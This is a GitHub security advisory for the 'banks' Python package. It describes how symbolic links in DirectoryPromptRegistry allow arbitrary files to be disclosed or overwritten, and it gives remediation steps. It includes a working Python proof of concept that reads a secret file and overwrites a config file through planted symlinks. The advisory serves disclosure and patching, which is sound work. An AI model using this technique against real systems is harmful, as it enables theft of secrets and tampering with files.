Skip to content

Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry

Moderate severity GitHub Reviewed Published Sep 12, 2026 in masci/banks

Package

pip banks (pip)

Affected versions

<= 2.5.0

Patched versions

2.5.1

Description

Summary

In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().

Details

Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:

  1. self._index_path (index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by _save() upon reg.set(), or read via _load().
  2. In _scan(), discovered .jinja files are opened and indexed without checking if path.is_symlink() or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.
  3. In set(), prompt_file.write_text(...) is called without checking if prompt_file is an existing symbolic link pointing outside the root.

Impact

Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.

Proof of Concept

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())

Remediation

  1. In _validate_index_path(): verify _index_path is not a symlink and resolves within _path.
  2. In _scan(): reject path.is_symlink() and check path.resolve().is_relative_to(root).
  3. In set(): reject existing symbolic links before writing.

A tested fix and regression tests have been prepared and pushed to:
https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting

References

@masci masci published to masci/banks Sep 12, 2026
Published to the GitHub Advisory Database Oct 8, 2026
Reviewed Oct 8, 2026

Severity

Moderate

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

CVE ID

CVE-2026-107716

GHSA ID

GHSA-556j-vv39-8rqv

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.